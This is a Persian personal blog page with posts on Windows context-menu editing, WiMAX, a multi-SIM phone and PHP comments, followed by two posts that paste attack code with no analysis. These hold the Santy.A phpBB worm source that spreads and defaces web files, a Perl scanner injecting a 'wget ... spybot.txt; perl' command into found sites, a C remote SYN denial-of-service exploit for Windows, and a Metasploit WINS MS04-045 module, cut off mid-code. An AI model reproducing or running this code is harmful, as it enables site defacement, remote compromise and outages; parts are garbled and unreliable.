سفارش تبلیغ
صبا ویژن

شهرستان مهر*** انجمن مهندسان

 

[ و فرمود : ] به سخنى که از دهان کسى برآید ، گمان بد بردنت نشاید ، چند که توانى آن را به نیک برگردانى . [نهج البلاغه]

 
 

مدیریت| ایمیل من

| خانه

پایین

?شهرستان مهر -- سید مصطفی برهانی نسب

سه شنبه 89/9/23  ساعت 11:23 صبح

چگونه منوی راست کلیک ویندوز را ویرایش کنیم؟

چگونه
منوی راست کلیک ویندوز را ویرایش کنیم؟




Context
Menu‌ یا همان منوی راست کلیک در ویندوز، به طور پیش‌فرض آیتم‌هایی دارد
که با نصب برخی از برنامه‌ها، گزینه‌هایی به آن اضافه می‌شود. اما برخی
مواقع با نصب برنامه‌های متعدد این منو بسیار طولانی می‌شود یا ممکن است
گزینه‌ای به آن اضافه شود که هیچ‌گاه به درد ما نخورد. در اینجور مواقع
ویرایش کردن و حذف آیتم‌های غیرضروری می‌تواند مفید باشد.


منو راست کلیک


اما چگونه می‌شود منوی راست کلیک (Context
Menu) را ویرایش کرد؟


روش اول: دستکاری در رجیستری


(توجه: این روش، یک روش ریسکی‌ست. با
مسئولیت خودتان انجام دهید یا به روش دوم نگاهی بیاندازید)


?- کلید‌های ترکیبی «ویندوز» + « R» را
فشار دهید. در پنجره Run تایپ‌ کنید regedit  تا Registery Editor باز شود.



run


نکته:‌ قبل از هرکار از رجیستری پشتیبان
تهیه کنید:


- به منوی فایل رفته و گزینه Export را
کلیک کنید.


- در پنجره باز شده، به فایل رجیستری یک
نام بدهید و آن را در مسیر دلخواه ذخیره کنید.


?- در رجیستری به این مسیر بروید:
HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers


3- در زیرمنوی ContextMenuHandlers کلید
موردنظر را پیدا کنید و آن را با احتیاط حذف کنید!


نکته: ممکن است بعد از پاک کردن کلید
موردنظر در زیرمنو، همچنان آن را در راست‌کلیک مشاهده کنید. شاید هم اصلاً
آن را پیدا نکنید، دلیلش این است که کلید در مکان دیگری وجود دارد.
احتمالاً در یکی از مکان‌های زیر یافت می‌شود:



HKEY_CLASSES_ROOT\*\shell




HKEY_CLASSES_ROOT\AllFileSystems\ShellEx




HKEY_CLASSES_ROOT\Directory\shell




HKEY_CLASSES_ROOT\Directory\shellex\ContextMenuHandlers



باز هم تأکید می‌کنم ?- در پاک کردن
کلیدها دقت کنید! ?- قبل از پاک کردن کلید، از آن پشتیبان تهیه کنید.


روش دوم: استفاده از برنامه‌های
جانبی


شما می‌توانید به جای استفاده از روش اول و
به جان خریدن خطر خرابی رجیستری، از برنامه‌های کوچک و کم‌حجمی استفاده
کنید که برای این کار بوجود آمده‌اند. چند برنامه برای ویرایش منوی
راست‌کلیک وجود دارد:


ContextEdit
برنامه رایگان و کم‌حجمی که کار کردن با آن بسیار آسان است. فقط
کافی‌ست از پنجره پایین تیک آیتم موردنظر خود را بردارید.


context edit


ShellMenuView
نام برنامه دیگری‌ست که مانند برنامه قبلی، کم‌حجم و رایگان است و البته
این برنامه نیازی به نصب ندارد.


کار کردن با این برنامه آسان است،
برنامه‌ایی که می‌خواهید در راست کلیک نباشد را انتخاب کنید و آن را از
نوار بالا غیرفعال (Disable) کنید.


shell menu view


ShellExView هم نام
برنامه‌ دیگری‌ست که همانند برنامه بالاست. برای حذف برنامه‌ای از منوی
راست‌کلیک، آیتم‌هایی که نوع آن‌ها Context Menu است را غیرفعال کنید.



shellex view


نکته:


منوی راست کلیک بر روی گزینه‌های با
پسوندهای متفاوت، آیتم‌های خاصی را نشان می‌دهد. برای مثال وقتی شما روی
فایلی که پسوند آن doc است راست کلیک می‌کنید، گزینه‌های متفاوتی را با
وقتی که روی فایلی که پسوند آن mpg است، مشاهده می‌کنید. براین اساس
(براساس نوع فایل – پسوند فایل) می‌توانید در برنامه‌های معرفی شده، منوی
راست‌کلیک را ویرایش کنید.


نظر شما( )
?شهرستان مهر -- سید مصطفی برهانی نسب

سه شنبه 89/9/23  ساعت 11:23 صبح

زمان ثبت نام آزمون کاردانی به کارشناسی

زمان ثبت نام کارشناسی ناپیوسته 89 دانشگاه آزاد از تاریخ 14/07/89 شروع می شود.زمان برگزاری امتحان هفته دوم آذر ماه اعلام شد


 


نظر شما( )
?شهرستان مهر -- سید مصطفی برهانی نسب

سه شنبه 89/9/23  ساعت 11:23 صبح

? سیم کارت در یک گوشی با OTECH F1


از چند سال پیش که ایرانسل در ایران شروع به فعالیت کرد به طور ناگهانی مسئله ی جدیدی در ایران کاملا باب شد و آن هم داشتن چندین شماره اعم از اعتباری و دائمی، ایرانسل و همراه اول بود و خوب دلایل منطقی و خوبی هم داشت. یکی میخواست مشترک همراه اول بماند و در عین حال از امکانات ایرانسل هم استفاده کند. بعضی ها صرفا میخواستند برای هر منظور از شماره ای خاص استفاده کنند. یک عده هم که …. ولی خوب به هر حال با پیش آمدن این وضع، تا مدت کوتاهی مجبور بودیم برای استفاده ی هم زمان از دو شماره ی خاص یا از کیت های دو سیم کارته کردن موبایل استفاده کنیم که روش چندان دل نشینی هم نبود و یا اینکه ? موبایل خریداری کنیم که این روش هم کمی دست و پا گیر بود خصوصا که موبایل دوم از نوع عادی و ارزان قیمت انتخاب میشد و خیلی از کارها را نمیتوانستیم به راحتی گوشی اصلی مان با آن انجام دهیم. بعد هم گوشی های دو سیم کارت در بازار فراوان شدند؛ از انواع چینی گرفته تا گوشی های عرضه شده توسط کمپانی های معتبری مثل سامسونگ و ال جی. در پایان هم که چند ماه پیش بود که شنیدیم نوکیا هم با عرضه ی گوشی دو سیم کارته ی C3 پا به این عرصه گذاشته. نمیدانم میدانید یا نه ولی مدتی است که یک مدل گوشی ? سیم کارته هم داریم که البته در جریان نیستم که در ایران هم وجود دارد یا خیر. اما امروز در بازار آسیا شاهد عرضه ی موبایل جدیدی هستیم که قابلیت استفاده ی همزمان از ? سیم کارت را دارد و مهم تر از همه اینکه میتواند به صورت هم زمان از هر ? تای آنها استفاده نماید! جالب تر اینجاست که این گوشی امکانات بسیار خوبی را هم به کاربر ارائه میدهد که از میان آنها میتوان به صفحه ی ?.? اینچی لمسی، کیبرد استاندارد QWERTY، نمایش تلویزیون، رادیو FM، دوربین ?? مگاپیکسلی و بلوتوث اشاره کرد. آنطور که گفته میشود این گوشی به نسبت امکانات خود قیمت بالایی دارد و خوب البته قیمت بالا برای تنها گوشی موجود در این دسته طبیعی به نظر میرسد!



کاش میشد این امکانات را به گوشی هایی که امکان استفاده به عنوان Wi-Fi router را دارند اضافه میکردند آنوقت بود که دیگر خیلی باید ذوق میکردیم!



نظر شما( )
?شهرستان مهر -- سید مصطفی برهانی نسب

سه شنبه 89/9/23  ساعت 11:23 صبح

How wimax works

How wimax works


Think about how you access internet today. There are basically three different options:


Broadband access in your home, you have either a DSL or cable modem at office your company may be using a T1 or a T3 line.


Wifi access in your home you may have set up a wifi router that lets you surf the web while you louge with your laptop. On the road, you can find wifi hot spots in restaurants, hotels. Coffee shops and libraries.


Dial-up access if you are still using dial-up, chances are that either broadband access is not available, or you think that broadband access is too expensive.


The main problems whit broadband access are that it is pretty expensive and it doesn’t reach all areas. The main problem with wifi access is that hot spots are very small, so coverage is sparse.


What if there were a new technology that solved all of these problems? This new technology would provide:


The high speed of broadbond service


Wireless rather than wired access, so it would be a lot less expensive than cable or dsl and much easier to extend to suburban rural areas


Broad coverage like the cell phone network instead of small wifi hotspots.


This system is actually coming into being right now, and it is called wimax. Wimax is short for world wide interoperability for microwave access. And it also goes by the IEEE name 802.16.


Wimax has the potential to do to broadband internet access what cell phones have done to phone access. In the same way that many people have given up their "land line" in favor of cell phones. Wimax could replace cable and dsl services, providing universal internet access just about anywhere you go. Wimax will also be as pailless as wifi turning your computer on will automatically connect you to the closest available wimax amenna.


In this article, well find out how wimax works. What engineers are doing to make it better and what it could mean for the future of wireless internet.


Wimax wireless network


In practical terms, wimax would operate similar to wifi but at higher speeds, over greater distances and for a greater number of users. Wimax could potentially erase the suburban and rural blackout areas that currently have no broadband internet access because phone and cable companies have not yet run the necessary wires to those remote locations.


A wimax system consists of two parts:


A wimax tower, similar in concept to a cell phone tower a single wimax tower can provide coverage to a very large area as big as 3000 square miles (~8000 square km).


A wimax receiver the receiver and antenna could be a small box or PCMCIA card, or they could be built into a laptop the way wifi access is today.


 


A wimax tower station can connect directly to the internet using a high bandwidth, wired connection (for example, a T3 line ). It can also connect another wimax tower using a line of sight microwave link. This connection to a second tower (often referred to as a backhaul),


Along with the ability of a single tower to cover up to 3000 square miles, is what allows wimax to what this points out is that wimax actually can provide two forms of wireless service:


There is the non line of sight wifi sort of service where a small antenna on your computer connect to the tower. In this mode, wimax uses a lower frequency range 2 GHz to 11 GHz (similar to wifi) lower wavelength transmissions are not as easily disrupted by physical obstructions they are better able to diffract, or bend, around obstacles.


There is line of sight service where a fixed dish antenna points straight at the more stable so its able to send a lot of data with fewer errors. Line of sight transmissions use higher frequencies, with ranges reaching a possible 66 GHz. At higher frequencies, there is less interference and lots more bandwidth.


Wifi style access will be limited to a 4 to 6 mile radius (perhaps 25 square miles or 65 square km of coverage, which is similar in range to a cellphone zone). Through the stronger line of sight antennas, the wimax transmitting station would send data to wimax enabled computer or routers set up within the transmitters 30 mile radius (2800 square miles or 9300 square km of coverage). This is what allows wimax to achieve its maximum range. the final step in the area network scale is the global area network (GAN).


The proposal for GAN is IEEE 802.20. a true GAN would work a lot like today cell phone networks, with users able to travel across the country and still have access to the network the whole time. this network would have enough bandwidth to offer internet access comparable to cable modem service, but it would be accessible to mobile, always connected devices like laptops or next generation cell phone.


 


 


 


نظر شما( )
?شهرستان مهر -- سید مصطفی برهانی نسب

سه شنبه 89/9/23  ساعت 11:22 صبح

پروژه پایگاه داده ها

جمع آوری یک مقاله در مورد انتقال فناوری (Technology Transfer) به پیوست می‌باشد.



 دانلود مقاله اننقال فناوری (Technology Transfer)



نظر شما( )
?شهرستان مهر -- سید مصطفی برهانی نسب

سه شنبه 89/9/23  ساعت 11:22 صبح

پروژه تجزیه و تحلیل سیستم ها

این هم فایل پاورپوینت تجزیه و تحلیل هست که برای این درس ارائه دادم. امیدوارم مورد استفادتون قرار بگیره.


دانلود پروژه تجزیه و تحلیل سیستم ها


نظر شما( )
?شهرستان مهر -- سید مصطفی برهانی نسب

سه شنبه 89/9/23  ساعت 11:22 صبح

انتقال فناوری (Technology Transfer)

جمع آوری یک مقاله در مورد انتقال فناوری (Technology Transfer) به پیوست می‌باشد.



 دانلود مقاله اننقال فناوری (Technology Transfer)



نظر شما( )
?شهرستان مهر -- سید مصطفی برهانی نسب

سه شنبه 89/9/23  ساعت 11:21 صبح

غیر فعال کردن یک یا چند خط در php

خیلی وقتها پیش میاد که هنگام کد نویسی لازم میشه یک یا چندخط را غیر فعال کنیم.(به این عمل comment کردن نیز میگویند)
در Php برای این کار چند را وجود دارد.


1 - غیر فعال کردن یک خط :
برای غیر فعال کردن یک خط میتوانیم از علامتهای // و یا # استفاده کنیم.



# echo "test";
// echo "test";


2- غیر فعال کردن چند خط :



/*
echo "test";
echo "test";
*/


برای غیر فعال کردن چند خط متوالی باید از عبارت /* برای خط شروع و از عبارت */ برای خط پایان استفاده کنیم


البته این راه معمولش میباشد ولی ما میتونیم برای غیر فعال کردن یک خط هم از عبارات /* و */ استفاده کنیم



/*echo "test";*/



و یا اینکه برای غیر فعال کردن چند خط اینگونه عمل کنیم:



//echo "test";
//echo "test";


موفق باشید


نظر شما( )
?شهرستان مهر -- سید مصطفی برهانی نسب

سه شنبه 89/9/23  ساعت 11:21 صبح

ویروس سانتی




Solution : Upgrade to phpBB version 2.0.11 


#
# Santy.A - phpBB <= 2.0.10 Web Worm Source Code (Proof of Concept)
# ~~ For educational purpose ~~
#
# See : http://isc.sans.org/diary.php?date=2004-12-21
# http://www.frsirt.com/alertes/20041221.phpbbworm.php
# http://www.f-secure.com/v-descs/santy_a.shtml
#
#!/usr/bin/perl
use
strict;
use Socket;


sub PayLoad();
sub DoDir($);
sub DoFile ($);
sub GoGoogle();

sub GrabURL($);
sub str2chr($);

eval{ fork and exit; };

my $generation = x;
PayLoad() if $generation > 3;

open IN, $0 or exit;
my $self = join "", <IN>;
close IN;
unlink $0;

while(!GrabURL("http://www.google.com/advanced_search")) {
if($generation > 3)
{
PayLoad() ;
} else {
exit;
}
}

$self =~ s/my \$generation = (\d+);/"my $generation = " . ($1 + 1) . ";"/e;

my $selfFileName = "m1ho2of";
my $markStr = "HYv9po4z3jjHWanN";
my $perlOpen = "perl -e "open OUT,q(>" . $selfFileName . ") and print q(" . $markStr . ")"";
my $tryCode = "&highlight=%2527%252Esystem(" . str2chr($perlOpen) . ")%252e%2527";

while(1) {
exit if -e "stop.it";

OUTER: for my $url (GoGoogle()) {

exit if -e "stop.it";

$url =~ s/&highlight=.*$//;
$url .= $tryCode;
my $r = GrabURL($url);
next unless defined $r;
next unless $r =~ /$markStr/;

while($self =~ /(.{1,20})/gs) {
my $portion = "&highlight=%2527%252Efwrite(fopen(" . str2chr($selfFileName) . "," . str2chr("a") . "),
" . str2chr($1) . "),exit%252e%2527";

$url =~ s/&highlight=.*$//;
$url .= $portion;

next OUTER unless GrabURL($url);
}

my $syst = "&highlight=%2527%252Esystem(" . str2chr("perl " . $selfFileName) . ")%252e%2527";
$url =~ s/&highlight=.*$//;
$url .= $syst;

GrabURL($url);
}
}



sub str2chr($) {
my $s = shift;

$s =~ s/(.)/"chr(" . or d($1) . ")%252e"/seg;
$s =~ s/%252e$//;

return $s;
}


sub GoGoogle() {
my @urls;
my @ts = qw/t p topic/;
my $startURL = "http://www.google.com/search?num=100&hl=en&lr=&as_qdr=all" . "&
q=allinurl%3A+%22viewtopic.php%22+%22" . $ts[int(rand(@ts))] . "%3D" . int(rand(30000)) .
"%22&btnG=Search";
my $goo1st = GrabURL($startURL)
fined $goo1st;
my $allGoo = $goo1st;
my $r = "<td><a href=(/search\?q=.+?)" . "><img src=/nav_page\.gif width=16 height=26
alt="" border=0><br>\d+</a>";
while($goo1st =~ m#$r#g) {
$allGoo . = GrabURL("www.google.com" . $1);
}
while($allGoo =~ m#href=(http://\S+viewtopic.php\S+)#g) {
my $u = $1;
next if $u =~ m#http://.*http://#i; # no redirects
push(@urls, $u);
}

return @urls;
}


sub GrabURL($) {
my $url = shift;
$url =~ s#^http://##i;

my ($host, $res) = $url =~ m#^(.+?)(/.*)#;
return unless defined($host) && defined($res);

my $r =
"GET $resHTTP/1.0\015\012" .
"Host: $host\015\012" .
"Accept:*/*\015\012" .
"Accept-Language: en-us,en-gb;q=0.7,en;q=0.3\015\012" .
"Pragma: no-cache\015\012" .
"Cache-Control: no-cache\015\012" .
"Referer: http://" . $host . $res . "\015\012" .

"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\015\012" .
"Connection: close\015\012\015\012";

my $port = 80;
if($host =~ /(.*):(\d+)$/){ $host = $1; $port = $2;}

my $internet_addr = inet_aton($host) or return;
socket(Server, PF_INET, SOCK_STREAM, getprotobyname("tcp")) or return;
setsockopt(Server, SOL_SOCKET, SO_RCVTIMEO, 10000);

connect(Server, sockaddr_in($port, $internet_addr)) or return;
select((select(Server), $| = 1)[0]);
print Server $r;

my $answer = join "", <Server>;
close (Server);

return $answer;
}


sub DoFile($) {
my $s = q{
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD><TITLE>This site is defaced!!!</TITLE></HEAD>
<BODY bgcolor="#000000" text="#FF0000">
<H1>This site is defaced!!!</H1>
<HR><ADDRESS><b>NeverEverNoSanity WebWorm generation }
. $generation .q{.</b></ADDRESS>
</BODY></HTML>
};

unlink $_[0];
open OUT, ">$_[0]" or return;
print OUT $s;
close OUT;
}


sub DoDir($) {

my $dir = $_[0];
$dir .= "/" unless $dir =~ m#/$#;

local *DIR;
opendir DIR, $dir or return;

for my $ent (grep { $_ ne "." and $_ ne ".." } readdir DIR) {

unless(-l $dir . $ent) {
if(-d _) {
DoDir($dir . $ent);
next;
}
}

if($ent =~ /\.htm/i or $ent =~ /\.php/i or $ent =~ /\.asp/i or $ent =~ /\.shtm/i or $ent =~ /\.jsp/i
or $ent =~ /\.phtm/i) {
DoFile($dir . $ent);
}
}

closedir DIR;
}


sub Pay Load() {

my @dirs;


eval{
while(my @a = getpwent()) { push(@dirs, $a[7]);}
};

push(@dirs, "/ ");

for my $l ("A" .. "Z") {
push(@d
for my $d (@dirs) {
DoDir($d);
}
}
****************************************
while(1){

$numr = int rand(9999);
$caxe = ".";
$caxe1 = ".";
$caxe .= rand(9999);
$caxe1 .= rand(9999);
$arq = ".";
$arq = int rand(9999);

open(sites,">$arq");
print sites "";
close(sites);


$procura = "inurl:*.php?*=" . $numr;

for($n=0;$n<900;$n += 10){
$sock = IO::Socket::INET->new(PeerAddr => "www.google.com.br", PeerPort
=> 80, Proto => "tcp") or next;
print $sock "GET /search?q=$procura&start=$n HTTP/1.0\n\n";
@resu = <$sock>;
close($sock);
$ae = "@resu";
while ($ae=~ m/<a href=.*?>.*?<\/a>/){
$ae=~ s/<a href=(.*?)>.*?<\/a>/$1/;
$uber=$1;
if ($uber !~/translate/)
{
if ($uber !~ /cache/)
{
if ($uber !~ /"/)
{
if ($uber !~ /google/)
{
if ($uber !~ /216/)
{
if ($uber =~/http/)
{
if ($uber !~ /start=/)
{
open(arq,">>$arq");
print arq "$uber\n";
close(arq);
}}}}}}}}}


for($cadenu=1;$cadenu <= 991; $cadenu +=10){

@cade = get("http://cade.search.yahoo.com/search?p=$procura&ei=UTF-8&fl=0&all=1
&pstart=1&b=$cadenu") or next;
$ae = "@cade";

while ($ae=~ m/<em class=yschurl>.*?<\/em>/){
$ae=~ s/<em class=yschurl>(.*?)<\/em>/$1/;
$uber=$1;

$uber =~ s/ //g;
$uber =~ s/<b>//g;
$uber =~ s/<\/b>//g;

open(a,">>$arq");
print a "$uber\n";
close(a);
}}

$ark = $arq;
@si = "";
open (arquivo,"<$ark");
@si = <arquivo>;
close(arquivo);
$novo ="";
foreach (@si){
if (!$si{$_})
{
$novo .= $_;
$si{$_} = 1;
}
}
open (arquivo,">$ark");
print arquivo $novo;
close(arquivo);


$a =0;
$b =0;
open(ae,"<$arq");
while(<ae>)
{$sites[$a] = $_;
chomp $sites[$a];
$a++;
$b++;}
close(ae);

for ($a=0;$a<=$b;$a++){
open (file, ">$caxe");
print file "";
close(file);
open (file, ">$caxe1");
print file "";
close(file);
$k=0;
$e=0;
$data=get($sites[$a]) or next;
while($data=~ m/<a href=".*?">.*?<\/a>/){
$data=~ s/<a href="(.*?)">.*?<\/a>/$1/;
$ubersite=$1;

if ($ubersite =~/"/)
{
$nu = index $ubersite, """;
$ubersite = substr($ubersite,0,$nu);
}
if ($ubersite !~/http/)
{$ubersite = $sites[$a]."/".$ubersite;}
open(file,">>$caxe") || die("nao abriu caxe.txt $!");
print file "$ubersite\n";
close(file);
}

$lista1 = "http://server/spy.gif?&cmd=cd /tmp;wget www.server.tld/spybot.txt; perl spybot.txt";
# Other filenames included with this and other variants :
# adfkgnnodfijg
# bot
# bot.txt
# bot.txt.1
# dry.scp
# ssh.a
# terrorbot.txt
# terrorbot.txt.1
# terrorworm.txt
# terrorworm.txt.1
# unbot.txt
# unbot.txt.1
# unbot.txt.2
# unbot.txt.3
# unworm.txt
# unworm.txt.1
# unworm.txt.2
# unworm.txt.3
# worm1.txt
# worm.txt
# worm.txt.1
$t =0;
$y =0;
@ja;
open(opa,"<$caxe") or die "nao deu pra abrir o arquivo caxe.txt";
while (<opa>)
{
$ja[$t] = $_;
chomp $ja[$t];
$t++;
$y++;
}
close(opa);
$t=1;
while ($t < $y)
{
if ($ja[$t] =~/=/)
{
$num = rindex $ja[$t], "=";
$num += 1;
$ja[$t] = substr($ja[$t],0,$num);
open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar caxe1.txt";
print jaera "$ja[$t]$lista1\n";
close(jaera);
$num = index $ja[$t], "=";
$num += 1;
$ja[$t] = substr($ja[$t],0,$num);
$num1 = rindex $ja[$t], ".";
$subproc = substr($ja[$t],$num1,$num);

open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar caxe1.txt";
print jaera "$ja[$t]$lista1\n";
close(jaera);
}
$t++;
}
$ark = "$caxe1";
@si = "";
open (arquivo,"<$ark");
@si = <arquivo>;
close(arquivo);
$novo ="";
foreach (@si){
if (!$si{$_})
{
$novo .= $_;
$si{$_} = 1;
}
}
open (arquivo,">$ark");
print arquivo $novo;
close(arquivo);
$q=0;
$w=0;
@hot;
open (ops,"<$caxe1");
while(<ops>)
{
$hot[$q] = $_;
chomp $hot[$q];
$q++;
$w++;
}
close(ops);

for($q=0;$q<=$w;$q++)
{

if ($hot[$q] =~/http/)
{
$tipo=get($hot[$q]) or next;
}}
}
}
*********************
 

نظر شما( )
?شهرستان مهر -- سید مصطفی برهانی نسب

سه شنبه 89/9/23  ساعت 11:21 صبح

پرل و سی

#include <stdio.h>
#include <ctype.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <sysexits.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

/*
Windows Server 2003 and XP SP2 remote DoS exploit
Tested under OpenBSD 3.6 at WinXP SP 2
Vuln by Dejan Levaja <dejan_@_levaja.com>
(c)oded by __blf 2005 RusH Security Team , http://rst.void.ru
Gr33tz: zZz, Phoenix, MishaSt, Inck-vizitor
Fuck lamerz: Saint_I, nmalykh, Mr. Clumsy
All rights reserved.
*/

//checksum function by r0ach
u_short checksum (u_short *addr, int len)
{
u_short *w = addr;
int i = len;
int sum = 0;
u_short answer;
while (i > 0)
{
sum += *w++;
i-=2;
}
if (i == 1) sum += *(u_char *)w;
sum = (sum >> 16) + (sum & 0xffff);
sum = sum + (sum >> 16);
return (~sum);
}
int main(int argc, char ** argv)
{
struct in_addr src, dst;
struct sockaddr_in sin;
struct _pseudoheader {
struct in_addr source_addr;
struct in_addr destination_addr;
u_char zero;
u_char protocol;
u_short length;
} pseudoheader;
struct ip * iph;
struct tcphdr * tcph;
int mysock;
u_char * packet;
u_char * pseudopacket;
int on = 1;
if( argc != 3)
{
fprintf(stderr, "r57windos.c by __blf\n");
fprintf(stderr, "RusH Security Team\n");
fprintf(stderr, "Usage: %s <dest ip> <dest port>\n", argv[0]);
return EX_USAGE;
}
if ((packet = (char *)malloc(sizeof(struct ip) + sizeof(struct tcphdr))) == NULL)
{
perror("malloc()\n");
return EX_OSERR;
}
inet_aton(argv[1], &src);
inet_aton(argv[1], &dst);
iph = (struct ip *) packet;
iph->ip_v = IPVERSION;
iph->ip_hl = 5;
iph->ip_tos = 0;
iph->ip_len = ntohs(sizeof(struct ip) + sizeof(struct tcphdr));
iph->ip_off = htons(IP_DF);
iph->ip_ttl = 255;
iph->ip_p = IPPROTO_TCP;
iph->ip_sum = 0;
iph->ip_src = src;
iph->ip_dst = dst;
tcph = (struct tcphdr *)(packet +sizeof(struct ip));
tcph->th_sport = htons(atoi(argv[2]));
tcph->th_dport = htons(atoi(argv[2]));
tcph->th_seq = ntohl(rand());
tcph->th_ack = rand();
tcph->th_off = 5;
tcph->th_flags = TH_SYN; // setting up TCP SYN flag here
tcph->th_win = htons(512);
tcph->th_sum = 0;
tcph->th_urp = 0;
pseudoheader.source_addr = src;
pseudoheader.destination_addr = dst;
pseudoheader.zero = 0;
pseudoheader.protocol = IPPROTO_TCP;
pseudoheader.length = htons(sizeof(struct tcphdr));
if((pseudopacket = (char *)malloc(sizeof(pseudoheader)+sizeof(struct tcphdr))) == NULL)
{
perror("malloc()\n");
return EX_OSERR;
}
memcpy(pseudopacket, &pseudoheader, sizeof(pseudoheader));
memcpy(pseudopacket + sizeof(pseudoheader), packet + sizeof(struct ip), sizeof(struct tcphdr));
tcph->th_sum = checksum((u_short *)pseudopacket, sizeof(pseudoheader) + sizeof(struct tcphdr));
mysock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
if(!mysock)
{
perror("socket!\n");
return EX_OSERR;
}
if(setsockopt(mysock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
{
perror("setsockopt");
shutdown(mysock, 2);
return EX_OSERR;
}
sin.sin_family = PF_INET;
sin.sin_addr = dst;
sin.sin_port = htons(80);
if(sendto(mysock, packet, sizeof(struct ip) + sizeof(struct tcphdr), 0,
(struct sockaddr *)&sin, sizeof(sin)) == -1)
{
perror("sendto()\n");
shutdown(mysock, 2);
return EX_OSERR;
}
printf("Packet sent. Remote machine should be down.\n");
shutdown(mysock, 2);
return EX_OK;
}


*******************************************************







CAN-2004-1080


##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::wins_ms04_045;
use base "Msf::Exploit";
use strict;

my $advanced =
{
"BASE" => [0, "Specify the exact address to the structure"],
"TARG" => [0, "Specify the exact address to overwrite"],
"WHAT" => [0, "Specify the data used to overwrite the address"],
};

my $info =
{
"Name" => "Microsoft WINS MSO4-045 Code Execution",
"Version" => "$Revision: 1.18 $",
"Authors" => [ "H D Moore <hdm [at] metasploit.com>" ],
"Arch" => [ "x86" ],
"OS" => [ "win32", "win2000" ],
"Priv" => 1,
"AutoOpts" => { "EXITFUNC" => "process" },
"UserOpts" =>
{
"RHOST" => [1, "ADDR", "The target address"],
"RPORT" => [1, "PORT", "The target port", 42],
},

"Payload" =>
{
"Space" => 8000,
"MinNops" => 512,
"PrependEncoder" => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
"Keys" => ["+ws2ord"],
},

"Deion" => Pex::Text::Freeform(qq{
This module exploits a arbitrary memory write flaw in the WINS service.
}),

"Refs" =>
[
["MSB", "MS04-045"],
],
"Targets" =>
[
["Windows 2000 English", [ 0x5391f40 ], 0x53df4c4, 0x53922e0]
],
"Keys" => ["wins"],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({"Info" => $info, "Advanced" => $advanced}, @_);
return($self);
}

sub Check {
my $self = shift;
my $target_host = $self->GetVar("RHOST");
my $target_port = $self->GetVar("RPORT");

my ($ret, $fprint, $check) = @{ $self->Fingerprint };

if ($ret < 0) {
return $check;
}

if ($ret == 0) {
$self->PrintLine("[*] This system does not appear to be vulnerable.");
return $check;
}

$self->PrintLine("[*] This system appears to be vulnerable.");
if ($fprint->{"os"} ne "?") {
my $os = $fprint->{"os"} eq "?" ? "Unknown Windows" : "Windows ". $fprint->{"os"};
my $sp = $fprint->{"sp"} eq "?" ? "" : "SP ". $fprint->{"sp"};
my $vi = $fprint->{"vi"} == 1 ? "(clean heap)" : "(dirty heap)";
my $hp = length($sp) ? $vi : "";
$self->PrintLine("[*] Host $target_host is $os $sp $hp");
}

return $self->CheckCode("Safe");
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar("RHOST");
my $target_port = $self->GetVar("RPORT");
my $target_idx = $self->GetVar("TARGET");

my $shellcode = $self->GetVar("EncodedPayload")->Payload;

my $target = $self->Targets->[$target_idx];

if (! $self->InitNops(128)) {
$self->PrintLine("[*] Failed to initialize the nop module.");
return;
}

# Sanity check the WINS service
my ($ret, $fprint, $check) = @{ $self->Fingerprint };

if ($ret <= 0) {
$self->PrintLine("[*] The target system does not appear to be vulnerable.");
return;
}


# Windows 2000 SP0, SP2, SP3, SP4 only. SP1 does not have the
# same function pointer...
if ($fprint->{"os"} ne "2000" || $fprint->{"sp"} !~ /^[0234]/ ) {
$self->PrintLine("[*] The target system is not currently supported");
return;
}

# This flag is un-set if the first leaked address is not the default of
# 0x05371e90. This can indicate that someone has already tried to exploit
# this system, or something major happened to the heap that will probably
# prevent this exploit from working.
if (! $fprint->{"vi"}) {
$self->PrintLine("[*] The leaked heap address indicates that this attack may fail.");
}

# Allow for multiple attempts to find the base address
# XXX - Brute force not implemented (or required so far)
my @rloc = @{ $target->[1] };

# Address of the function pointers to overwrite (courtesy anonymous donor)
my $targ = $target->[2];

# Address of the payload on the heap, past the structure
my $code = $target->[3];

# Advanced options can be used to overwrite
@rloc = ( hex($self->GetVar("BASE")) ) if $self->GetVar("BASE");
$targ = hex($self->GetVar("TARG")) if $self->GetVar("TARG");
$code = hex($self->GetVar("WHAT")) if $self->GetVar("WHAT");



foreach my $base (@rloc) {
my ($req, $add);

# Pointing at any aligned address into top 36 bytes will result in a
# valid structure. This gives us some breathing room if things move
# around a little bit.
$add .= pack("V", $code) x 9;
$add .= pack("V", $targ - 0x48) x 14;

# Multiple copies are used in case things slide a little bit
$req .= $add x 10;

# Bling.
$req .= $shellcode;

# Random padding :-)
$req .= Pex::Text::EnglishText(9200 - length($req));

# Tack on the header
my $pkt = pack("NNN", length($req) + 8, -1, $base). $req;

# Poink!
$self->PrintLine(sprintf("[*] Attempting to overwrite 0x%.8x with 0x%.8x (0x%.8x)", $targ, $code, $base));
my $s = Msf::Socket::Tcp->new
(
"PeerAddr" => $target_host,
"PeerPort" => $target_port,
);

if ($s->IsError) {
$self->PrintLine("[*] Socket error: " . $s->GetError());
return(0);
}

$s->Send($pkt);
$self->Handler($s);
}

return;
}

# This fingerprinting routine will cause the structure base address to slide down
# 120 bytes. Subsequent fingerprints will not push this down any futher, however
# we need to make sure that fingerprint is always called before exploitation or
# the alignment will be way off.

sub Fingerprint {
my $self = shift;
my $target_host = $self->GetVar("RHOST");
my $target_port = $self->GetVar("RPORT");
my $fprint = {};

# This results in vulnerable servers leaking back some useful
# pointers to the heap and to ntdll.dll. We can use these pointers
# to determine the service pack.

my $req =
